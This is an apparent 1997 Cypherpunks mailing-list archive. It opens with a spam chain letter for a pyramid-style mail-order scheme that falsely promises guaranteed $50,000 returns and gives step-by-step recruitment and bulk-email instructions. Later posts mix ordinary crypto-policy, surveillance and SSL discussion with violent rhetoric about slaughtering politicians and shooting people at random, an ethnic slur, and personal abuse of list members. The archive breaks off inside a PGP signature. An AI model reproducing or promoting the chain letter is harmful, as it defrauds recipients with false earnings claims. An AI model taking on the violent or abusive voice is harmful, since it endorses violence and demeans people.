follow the instructions, and your dream will come true. This multi-level email order marketing program works perfectly...100% EVERY TIME. Email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!! The longer you wait, the more people will be doing business using email. Get your piece of this action!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. INSTRUCTIONS We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", please read the program carefully. This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi- level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the GREATEST Multi-level Mail Order Marketing anywhere: Step (1) Order all four 4 REPORTS listed by NAME AND NUMBER. Do this by ordering the REPORT from each of the four 4 names listed on the next page. For each REPORT, send $5 CASH and a SELF- ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT. International orders should also include $1 extra for postage (Be sure and wrap the $5 so it isn't visible). It is very essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. Step (2) Replace the name and address under REPORT #1 with yours, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!! Step (3) Having made the required changes in the NAME list, save it as a text (.txt) file in it's own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4) Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now, more than ever. Then, email to anyone and everyone! Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists. These are very cheap, 100,000 addresses for around $35.00. IMPORTANT: You won't get a good response if you use an old list, so always request a FRESH, NEW list. You will find out where to purchase these lists when you order the four 4 REPORTS. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order each REPORT by NUMBER and NAME*** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER ________________________________________________________ REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: Big D Enterprises Po Box 2626 Longview, Wa 98632 ________________________________________________________ REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: STAR Enterprises PO Box 271813 Tampa, FL 33688-1813 ________________________________________________________ REPORT#3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT #3 FROM: Success Concepts Rt. Box 430L Hendersonville, NC 28792 ________________________________________________________ REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM: Prosperity Group PO Box 2005 Englewood, FL 34295-2005 ________________________________________________________ CONCLUSION .I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back. However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy. Best wishes with the program and Good Luck! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before." Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a post office box (preferred). 3. Edit the names and addresses on the program. You must remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list. 4. Obtain as many email addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. Copy the four 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. YOUR GUARANTEE The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE." ******************************************************************* - sent you this message using WorldMerge, the fastest and easiest way to send personalized email messages to your customers, subscribers, leads or friends. For more information, visit http://www.coloradosoft.com ******************************************************************* From tmg at dev.null Fri Apr 11 10:26:50 1997 From: tmg at dev.null (TruthMangler) Date: Fri, 11 Apr 1997 10:26:50 -0700 (PDT) Subject: Grumpy Old Cypherpunks Message-ID: <199704111724.LAA08482@wombat.sk.sympatico.ca> Kent Crispin wrote: > > Toto, thanks for your thoughtful comments. Your touching defense of > Tim is interesting. I don't think it's so much a case of defending Tim as it is that Toto is an old mangy dog who is losing his eyesight and biting at everything that comes into his limited range of vision. > Contrary to what you might think, Assuming what others are assuming gets to be a nasty little cyle that leads you to sitting alone with two beers in front of you, arguing with yourself and finally getting mad enough at the *other* guy to drink *his* beer, too. > I really don't have anything against > Tim May, and I do go read things he (or others) have written in the > past. Apology accepted. > As to his legacy, and the legacy of cypherpunks in general, that > remains to be seen. The "legacy" already exists, whether it is recognized in the future, or not. Even a fruit fly has a legacy which is important to certain scientists. > None of the cypherpunks are in a position to be > able to judge very well, because they are so close to their favorite > issues that of course they look very large. Group discounts should be used for saving airfare, and not for lumping people (especially anarchists) into one mass and discounting their thoughts and opinions. I get tired of hearing how an individual's ability to 'judge' an issue increases with his lessening knowledge of it, or interest in it. Perhaps we need more retarded legislators and world-rulers in order to properly test this theory. > But it isn't a certainty > that any of the predictions of crypto-anarchy, for example, will come > to pass. It is possible that the surveillance state will win. Spank yourself, throw some cold water on your face, and take a look around you. The average person is not allowed to move an inch without taking a number and/or waiting for it to be called. "What were once vices, are now habits." The medium *is* the message, and today's mental medium is DoubleSpeak. The age-old "number's racket" is no longer a "criminal enterprise," but is, rather, a "government sponsered charitable institution" (or was; I have no idea what the current DoubleSpeak for it is). My personal view is that the war on DoubleSpeak was lost when we allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The Peacekeeper." If we had risen up and slaughtered a few hundred politicians at that time, then mental freedom would have had a slim chance of survival. Anyone who claims that 1984 hasn't arrived and thrived because we do not yet have loudspeakers on the streetcorners blaring, "You are not getting fucked by the government...You are not getting fucked by the government..." The surveillance state has already won, the only question is whether or not there will be a revolution. For God's sake, man, take a look around you. The surveillance state has ruled for years in the places it counts most--in the medium and in the message. The government is only solidifying ground already held with their further intrusions into areas of freedom and privacy, as well as extending their reach into the latest medium, the Net/WWW. Media content is ruled by the few and the powerful, and the masses are ruled by the media. You are permitted to speak out against government policy only if you have Freedom of Speech Permit #900873.7b and post a $50,000 Non-Incitement to Terrorism bond. The battle for freedom and privacy is mostly about governments and corporations fighting over each other having access to *their* secrets, not the common man and woman's secrets. Their fight over the common people is only whether they will be controlled via key escrow or cookies. Name any issue and you will find it surrounded by a plethora of laws regulating when, where, and how it can be spoken about. The only thing that makes Jim Bell (the lunatic, speed-freak, drug addicted tax-dodger whose convictions seem to have mostly only taken place within the confines of media-reality) special is that he spoke loud enough to get some government and media attention. Most people are like dogs with their tails between their legs, who take vain pride in the decent, law-abiding "character" they display in whimpering, somehow managing to forget that the reason they no longer bark is because they were beaten every time they did so. > More > likely, of course, the world will go in a direction that will surprise > all of us (except that Tim will tell us he considered the possibility > in a paper he wrote back in the 1970s). What will look portentious and > what will look pretentious 10 years from now is hard to judge... > > Personally, I am in favor of absolute personal privacy, but I don't > define that to include economic dealings -- as far as I am concerned, > business or economic privacy is at a lower level of concern than > personal privacy. And having a small burning rod shoved up your ass is "at a lower level of concern" than having a large one shoved up there? Are you being held hostage in a tower of intellect? > This puts me at odds with the prevailing > libertarian bent of cypherpunks, of course. However, I was thrown off > my stride by the high level of downright hostility so common on this > list. Like most people, I tend to respond in kind. This list is one of the few places where the dogs still bark (and bite, as well). Smarmy "gumming" of the logic and opinions of others on this list will not get you many doggie bones. My personal pet peeve is the fucking happy faces that abound in posts everywhere. If you can't figure out whether a comment is an insult or humor, then take it as an insult, because any professed difference between the two is only an illusion. I suppose that it is only a matter of time before I walk into a happy-face factory and start blowing people away at random. A barking gun is only the final result of years of govement and societal suppression of our natural instinct to bark loud and long when intruders invade our personal space. Or perhaps I will walk into a happy-face factory and just bark at them. If they fail to recognize the humor in my actions, then I suppose that I will have to grab a mask and "put on a happy face." After all, the medium is the message. TruthMangler From nobody at huge.cajones.com Fri Apr 11 11:41:44 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 11 Apr 1997 11:41:44 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles Message-ID: <199704111841.LAA21552@fat.doobie.com> Comments: Authenticated sender is From: "Ross Wright" Organization: King Media and RW Marketing To: cypherpunks at toad.com, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 10 Apr 1997 Subject: Re: Reporters, Declan, Columns, Articles, and Angles On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote: > "Phillip M. Hallam-Baker" writes: > > > That's $3 for Sinn F\'ein. Thank you, Phil. > > P.S. Fuck your Queen. Free Rule for Ireland! ### So you're giving it _all_ to the Pope? Typical Mick thinking! From ericm at lne.com Fri Apr 11 13:23:08 1997 From: ericm at lne.com (Eric Murray) Date: Fri, 11 Apr 1997 13:23:08 -0700 (PDT) Subject: Politics This Week [Tamper Proof Device?] In-Reply-To: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com> Message-ID: <199704112022.NAA06506@slack.lne.com> Alec writes: > >From: The Economist > >Subject: Politics This Week (April 4th - April 10th 1997) > >Date: Thu, 10 Apr 1997 22:01:13 +0100 > > >Also available at http://www.economist.com/ > >******************************************************************** > > > [SNIP] > > >A Thunderbolt ground-attack aircraft and its bomb-load vanished over > >Arizona. Had its pilot defected? I used to live and work for the Forest Service in northern Az. There's a LOT of empty and semi-empty space there. It's not at all inconceiveable that a jet fighter could go down and not be found. It'd be a lot more suspicious if it disapperaed in the middle of say New Jersey. -- Eric Murray ericm at lne.com Network security and encryption consulting. PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From rah at shipwright.com Fri Apr 11 13:38:25 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 11 Apr 1997 13:38:25 -0700 (PDT) Subject: FinCEN Resources Message-ID: --- begin forwarded text Mime-Version: 1.0 Date: Fri, 11 Apr 1997 09:12:46 -0500 To: Digital Commerce Society of Boston From: Vin McLellan Subject: FinCEN Resources Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: Vin McLellan >From the French "Intelligence" newsletter web http://www.blythe.org/Intelligence; --------------------------------------------- Intelligence, N. 56, 24 March 1997, p. 21 U.S.A. - "Silent" FinCEN Uses a Bullhorn. After we published several articles concerning the Department of the Treasury's Financial Crimes Enforcement Network (FinCEN) in 1994, there was talk of FinCEN "clamming up", in 1995 following the appointment of Stanley E. Morris as the new director who "doesn't talk in public". Those rumors were poorly informed, as Morris himself proved, in March 1996, with the publication of his article, "From FinCEN's Director" which opened the first issue of "FinCEN Advisory". Seven issues of the "Advisory" have now been published and cover questions such as the Seychelles, fund-transfer record keeping, money laundering typologies developed with the OECD/G-7 Financial Action Task Force (FATF), the "Safe Harbor" provision, Mexico and other questions. Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From camcc at abraxis.com Fri Apr 11 14:03:04 1997 From: camcc at abraxis.com (Alec) Date: Fri, 11 Apr 1997 14:03:04 -0700 (PDT) Subject: [Fwd] AEgis Shell 3.0 Release Message-ID: <3.0.1.32.19970411163143.007e6760@smtp1.abraxis.com> >From: mlyman at aegisrc.com (Mike Lyman) >Subject: AEgis Shell 3.0 Release >-----BEGIN PGP SIGNED MESSAGE----- > >I am happy to belatedly announce the release of AEgis Shell 3.0 for PGP. The >release version has actually been posted for the last several days but the >order processing pieces have finally been put in place. > >You can get the shell from http://www.aegisrc.com/Products/Shell > >If you plan to order the shell on the commercial shareware license you AEgis >POC for sales is Michelle Bass. > >I also want you to know that tech support will be a little slow for the next >few weeks. I am moving to a new job in Redmond, WA and AEgis will no longer >be my primary employer, my main paycheck will come from someone else. I will, >however, continue to work for AEgis on the shell and will continue to support >it as will others. Until my equipment catches up to me, it will be impossible >for me to track down new glitches. I will be able to answer question about >the standard problems users have. > >I'd like to remind you that there is a shell-users mailing list available >where users can support each other. This may be your fastest support channel >for the next week. You can join this list by sending a message to >shell-users-request at aegisrc.com with the word subscribe in the body of the >message. To send a message to the list, send it to shell-users at aegisrc.com. > >I will continue to monitor the shell-support at aegisrc.com address. You can >reach me directly at my alumni organization address of mlyman at west-point.org. >My mlyman at aegisrc.com address will be forwarded to that address for a few >months. > >Mike Lyman USMA '87 >Software Engineer Webmaster Postmaster >mlyman at aegisrc.com PGP Key 0xC34BEF45 >AEgis Research Corporation http://www.aegisrc.com >6703 Odyssey Drive, Suite 200 Huntsville, AL 35806 >Voice: 205.922.0802 Fax: 205.922.0904 > >I'm changing jobs on 14 April, my new email address is: >mlyman at west-point.org >-----BEGIN PGP SIGNATURE----- >Version: 4.5 >Comment: PGPMail 4.5 (formerly ViaCrypt's PGP) > >iQCVAgUBM06CMMUiy4XDS+9FAQFPCwP/cVZPiXzEmNjm0foqN3Le1qU+wSKAEYOt >7zBv1QpstVNhR3QPbk+BOQr0fFbewioeuDOWp/inFC0u2MvboU+Z2sQswBeaYp4B >1v4G3H0OE5VfJ1tBhUJOs2qk3tQvtEGivMJ53RexONwUw+BuVoMo/uPNm9OCpnb6 >ocgumVDO+NU= >=4/Iy >-----END PGP SIGNATURE----- From AGRAPA at banamex.com Fri Apr 11 14:30:08 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Fri, 11 Apr 1997 14:30:08 -0700 (PDT) Subject: SSL weakness affecting links from pa Message-ID: See http://www.Microsoft.com/security/ under "Credit Card Security Concerns and Microsoft's Response" for Microsoft's response on the SSL GET/POST weakness. �Any opinions? Art Grapa agrapa at banamex.com ---------- From: Mark M. To: ARTURO GRAPA YSUNZA; Bill Stewart Cc: cypherpunks at toad.com; cryptography at c2.net Subject: Re: SSL weakness affecting links from pa Date: Saturday, March 29, 1997 1:11AM Microsoft Mail v3.0 IPM.Microsoft Mail.Note De: Mark M. Para: ARTURO GRAPA YSUNZA Bill Stewart Cc: cypherpunks at toad.com cryptography at c2.net Asunto: Re: SSL weakness affecting links from pa Fecha: 1997-03-29 01:11 Prioridad: 3 Ident. del mensaje: 83A07AD005A0D011AF8C006097838CEB ----------------------------------------------------------------------- ----- -- -----BEGIN PGP SIGNED MESSAGE----- On Fri, 28 Mar 1997, Bill Stewart wrote: > http://www.zdnet.com:80/intweek/daily/970327x.html > has an article about an SSL problem that affects both Netscape > and MicrosoftIE browsers, leaking "secure" data such as > credit card numbers from web pages with GET-based SSL forms on it. > It was discovered by Dan Klein. > > There isn't specific detail about how the flaw works, > but it says that it affects GET forms but not POST. > Commentary from NS, MS, Gene Spafford, and Steve Bellovin. > > "It's like you've gone to the restaurant with your lover," Klein said. > "The restaurant is there, it's private, yet when you leave the restaurant > you have the menu in your hand and there's food all over your shirt." I would guess that this means that Netscape and Explorer send the complete URL of the page that linked to another site in the "HTTP-REFERER" header in the clear when SSL is used. The only temporary solution is to use a local web proxy that removes this header, or, as the article suggests, manually type in an URL that is linked from a page using SSL. I can't think of too many situations where one might follow a link to another site immediately after sending sensitive information, but the contents of the "HTTP-REFERER" header are often logged, and the log is often world-readable... > > > > # Thanks; Bill > # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com > # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp > # (If this is a mailing list, please Cc: me on replies. Thanks.) > > Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMzytJyzIPc7jvyFpAQE3gAf/frvfAWg44mEeg2AyhxlFKBmmh3yWEtmq l8np9nTMz20/PHcF2uzDHrpSEcAY2WPcvEvu+57QGelU0H2LoH2qGFNeVisPQURE 9F5gUZvFeyubL9UVLlUoxVIMCumLM+y31zqVaMb8GwwGnHWNcHc1rqnUhchYamiJ BbU04U3xaF5b5/mMBzKTU/tfTajeIDsAl0dhk0rzvXAMN2n26idoWic39ZzhHnsE QOOfi4oI8XK4cMbjOKbwnSR7Xbt78800vilyp+mvkfgp/bR6ygougYzYz1s9dNY3 HgGpnuxDzFoHnqlIQ7in3N+QXXzSNh8TiVfU6w3PjoRk3RNZHX+DTQ== =QOto -----END PGP SIGNATURE----- From nobody at huge.cajones.com Fri Apr 11 14:40:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 11 Apr 1997 14:40:05 -0700 (PDT) Subject: NoneMondex Message-ID: <199704112140.OAA27286@fat.doobie.com> There's a rumor that Timothy Mayhem sells his dead relatives as fertilizer as they constitute the best shit in California. ||||||||||| \~0/ \0~/ < (0) > --oOO--/|||\--OOo- Timothy Mayhem From 3umoelle at informatik.uni-hamburg.de Fri Apr 11 15:20:02 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Fri, 11 Apr 1997 15:20:02 -0700 (PDT) Subject: insecure algorithm (was: Re: [PGP-USERS] BestCryp NP) In-Reply-To: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com> Message-ID: >>>BestCrypt NP costs $115, the home page is www.jetico.sci.fi. >>>They even have our Mr Peter Gutmann on their credits list. BestCrypt >>>supports BlowFish, DES (boo) and GOST, a russian standard with >>>256bit key. One would hope that they have also read and understood Peter's warning about the GOST algorithm ("More thoughts on GOST", 17 Aug 1996, <4v4ptc$42e at net.auckland.ac.nz>). From minow at apple.com Fri Apr 11 15:41:00 1997 From: minow at apple.com (Martin Minow) Date: Fri, 11 Apr 1997 15:41:00 -0700 (PDT) Subject: Swedish Narcotics Police Demand Telephone Card Database Message-ID: According to an article in the Swedish newspaper, Svenska Dagbladet , the Stockholm narcotics police has asked the national police and State Prosecutor to require that purchasers of a new telephone card used for mobile telephones be registered, and that the police have access to the purchaser database. "Since the card is purchased anonymously, the owner cannot be determined, which makes wiretapping impossible." The new card is pre-paid with 250 or 550 kroner (very roughly $32 or $70) air time and a telephone number, but does not require any other subscription. The card can be used on an ordinary GSM mobile telephone "which can be borrowed or stolen" and can be re-loaded when the air time runs out. A similar card is in use in France. However, the French security service made the government force the telephone company to require that purchasers show an id card when tbey purchase the card. Quickly translated and summarized by Martin Minow minow at apple.com From stewarts at ix.netcom.com Fri Apr 11 15:42:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 11 Apr 1997 15:42:08 -0700 (PDT) Subject: Cryptography Export In-Reply-To: <19970408124924.5846.qmail@squirrel.owl.de> Message-ID: <3.0.1.32.19970411151006.005ddf28@popd.ix.netcom.com> At 12:49 PM 4/8/97 -0000, a Potential Postal Worker wrote: > I can't believe that corporations pay legal experts huge >sums of money to receive advice telling them to bend over >and spread 'em for the government's bullshit legislation. _Corporations_ have to. Unlike individuals or partnership businesses, a corporation is a legal fiction chartered by the government, and has to do what Big Daddy says or it'll be informed that it no longer exists. (The lawyers can point out that it's obviously more complicated than that, but that's the basic idea.) If they don't like it, they don't have to be a corporation. > If the government wants to prosecute me for exporting >encryption code, then they had best be prepared to >prosecute _all_ exporters of every single item that >involves altering data that can be re-converted on >the other end to render the output intelligible. Doesn't work that way. Unless you can make a very strong case that they're singling out _you_ because you're black/female/Republican/Jewish, it's extremely difficult to say "you can't prosecute me because you didn't prosecute _him_ first" - otherwise there'd be no way to prosecute the first person. > I not only already have the paperwork set up to >defy any potential restraining orders that may >arise, but I have a judge that is fully prepared >to institute the necessary proceedings to validate If you're not just trolling (:-), here's one piece of advice - please don't go in with a case that's too weak, whether it's because you're underfunded, have other problems affecting the overall case results, don't realize how much abuse you'll be taking, or look too much like a Waco for the average mundane jury, because every case the Good Guys lose sets bad precedents. > If the government thinks that they can legislate >the thickness of condoms available for export, The FDA already regulates testosterone and oxygen. Ain't gonna get mine until they..... >standing on legal precedents that are as solid as >the Rock of Gibralter. (Think about it.) GibraltAr ? It's full of caves, tunnels, and other holes..... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Fri Apr 11 15:54:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 11 Apr 1997 15:54:07 -0700 (PDT) Subject: EPIC Alert 4.05 In-Reply-To: Message-ID: <3.0.1.32.19970411154504.005df720@popd.ix.netcom.com> >the privacy of information gathered about consumers by telephone companies. >The recommendations cover Customer Proprietary Network Information (CPNI). >CPNI is the information that is gathered by phone companies in the process >of delivering services, such as numbers called, length of calls, and times >calls were made. The FCC is currently conducting a rulemaking on CPNI >under the Telecommunications Act of 1996. Out of curiousity, was this before or after CALEA passed? It would be interesting if the CDA superseded the "legitimate needs of law enforcement" laws, though it probably has enough weasel words to prevent that from happening... >The law limits the use and disclosure of CPNI information: > > a telecommunications carrier that receives or obtains > customer proprietary network information by virtue of its > provision of a telecommunications service shall only use, > disclose, or permit access to individually identifiable > customer proprietary network information in its provision of > (A) the telecommunications service from which such > information is derived, or (B) services necessary to, or used > in, the provision of such telecommunications service, > including the publishing of directories. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dlv at bwalk.dm.com Fri Apr 11 16:31:15 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 11 Apr 1997 16:31:15 -0700 (PDT) Subject: KC post per Alec In-Reply-To: <199704111239.HAA02011@smoke.suba.com> Message-ID: snow writes: > Crispin: > > Personally, I am in favor of absolute personal privacy, but I don't > > define that to include economic dealings -- as far as I am concerned, > > business or economic privacy is at a lower level of concern than > > personal privacy. This puts me at odds with the prevailing > > What's the difference? > > I suppose (and I'm no mind reader) that Kent feels that who you fuck/suck (for kicks, not for money) is your business, but what you do for a living is the gubmint's business. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dgilx at mindspring.com Fri Apr 11 16:34:47 1997 From: dgilx at mindspring.com (David Gilchrist) Date: Fri, 11 Apr 1997 16:34:47 -0700 (PDT) Subject: Grumpy Old Cypherpunks Message-ID: <1.5.4.32.19970411233414.006a6e74@pop.mindspring.com> At 11:31 AM 4/11/97 CST, TruthMangler wrote: >Kent Crispin wrote: >> >> Toto, thanks for your thoughtful comments. Your touching defense of >> Tim is interesting. >> list. Like most people, I tend to respond in kind. > > This list is one of the few places where the dogs still bark (and >bite, as well). Smarmy "gumming" of the logic and opinions of others >on this list will not get you many doggie bones. I like that. Bite me. > My personal pet peeve is the fucking happy faces that abound in >posts everywhere. If you can't figure out whether a comment is an >insult or humor, then take it as an insult, because any professed >difference between the two is only an illusion. I like that, too. Happy face me. > I suppose that it is only a matter of time before I walk into a >happy-face factory and start blowing people away at random. A barking >gun is only the final result of years of govement and societal >suppression of our natural instinct to bark loud and long when >intruders invade our personal space. You must work for the post office. Shoot me. >TruthMangler > > From ichudov at algebra.com Fri Apr 11 16:37:55 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 11 Apr 1997 16:37:55 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk> Message-ID: <199704112334.SAA12130@manifold.algebra.com> market efficiency and chaos are not necessarily mutually exlusive - Igor. From snow at smoke.suba.com Fri Apr 11 17:31:51 1997 From: snow at smoke.suba.com (snow) Date: Fri, 11 Apr 1997 17:31:51 -0700 (PDT) Subject: Grumpy Old Cypherpunks In-Reply-To: <199704111724.LAA08482@wombat.sk.sympatico.ca> Message-ID: <199704112355.SAA03116@smoke.suba.com> TruthMonger: > My personal view is that the war on DoubleSpeak was lost when we > allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The > Peacekeeper." If we had risen up and slaughtered a few hundred > politicians at that time, then mental freedom would have had a slim > chance of survival. Well, considering there was a .45 revolver named either "Peace keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think you can blame RR&c for that. From real at freenet.edmonton.ab.ca Fri Apr 11 20:15:05 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Fri, 11 Apr 1997 20:15:05 -0700 (PDT) Subject: None In-Reply-To: <199704112140.OAA27286@fat.doobie.com> Message-ID: On Fri, 11 Apr 1997, Huge Cajones Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > There's a rumor that Timothy Mayhem sells his dead relatives as > fertilizer as they constitute the best shit in California. > > ||||||||||| > \~0/ \0~/ > < (0) > > --oOO--/|||\--OOo- Timothy Mayhem > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From jer+ at andrew.cmu.edu Fri Apr 11 21:23:52 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 11 Apr 1997 21:23:52 -0700 (PDT) Subject: Grumpy Old Cypherpunks In-Reply-To: <199704112355.SAA03116@smoke.suba.com> Message-ID: <0nHksW200YUh01KW80@andrew.cmu.edu> -----BEGIN PGP 